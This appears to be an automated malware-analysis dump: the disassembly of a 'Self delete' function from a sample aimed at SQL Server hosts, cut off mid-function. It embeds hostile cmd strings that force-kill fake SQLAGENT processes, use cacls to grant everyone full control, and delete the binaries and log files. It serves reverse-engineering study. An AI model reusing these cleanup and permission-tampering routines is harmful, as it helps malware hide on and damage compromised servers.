Function at 0x4360b7
Capabilities:
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436149
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436190
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4361d7
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43621e
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436265
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_cmd.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 1
push 1
push 1
push 5
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlagentc.exe__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTC.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTC.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SQLAGENTC.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43669d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.SQLAGENTC.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x436703
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x436716
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436739
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.CPU_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43679f
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4367b2
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4367d5
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.CPU_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43683b
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43684e
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436871
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SQLAGENTN.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436954
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.SQLAGENTN.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4369ba
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4369cd
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4369f0
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.N_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x436a56
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x436a69
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436a8c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.N_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x436af2
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x436b05
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436b28
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SQLAGENTA.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436c0b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.SQLAGENTA.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x436c71
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x436c84
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436ca7
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.A_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x436d0d
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x436d20
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436d43
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.A_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x436da9
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x436dbc
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436ddf
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlageatc.exe__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 1
push 1
push 1
push 1
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_cmd.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437193
push ebx
call fcn.00465372
add esp, 4
push 1
push 1
push 1
push 3
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_cacls.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cacls.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43720b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.sqlageatc.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4372ee
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.sqlageatc.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x437354
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x437367
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43738a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.CPU_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4373f0
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x437403
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437426
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.CPU_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43748c
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43749f
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4374c2
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, 0x4f3d60
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4375a5
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4f3d60
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43760b
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43761e
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437641
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
